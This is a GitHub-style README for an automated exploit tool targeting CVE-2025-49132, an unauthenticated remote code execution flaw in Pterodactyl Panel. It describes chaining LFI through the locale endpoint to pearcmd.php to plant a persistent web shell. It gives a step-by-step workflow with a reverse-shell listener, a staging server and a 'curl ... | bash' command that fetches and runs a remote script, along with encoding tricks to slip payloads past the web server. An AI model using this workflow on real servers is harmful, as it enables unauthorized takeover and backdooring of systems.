malw0re/cve-2025-49132-modsAutomated exploit for CVE-2025-49132, a critical unauthenticated RCE in Pterodactyl Panel. Leverages LFI via locale endpoint to deploy persistent web shells and achieve reverse shell access.
This repository contains a specialized exploit for CVE-2025-49132, a critical unauthenticated Remote Code Execution (RCE) vulnerability in the Pterodactyl Panel (prior to v1.11.11).
The vulnerability exists in the /locales/locale.json endpoint. By manipulating the locale and namespace query parameters, an attacker can leverage a Local File Inclusion (LFI) to interact with pearcmd.php. This allows for arbitrary file creation and command execution, leading to a full system compromise.
The ape.py script automates the following steps:
PEAR Discovery: Fuzzes the directory structure to locate the PEAR installation on the target.
Backdoor Creation: Uses PEAR's config-create to write a persistent web shell to /tmp/shell.php.
To achieve a successful callback on the target, follow this workflow:
penelope -p 4444
Staging Server: If using a custom shell script, host it via Python:
python3 -m http.server 8080
python3 ape.py --host xxx.xxx.xxx --interactive
shell> curl http://<YOUR_IP>:8080/shell.sh | bash
Space Bypassing: Automatically uses ${IFS} to ensure payloads survive URL parsing.
Base64 Wrapper: Wraps reverse shell commands in Base64 to prevent character mangling by the target's Nginx/Web server.
Timeout Handling: Designed to detect when a reverse shell has successfully connected even if the web request hangs.
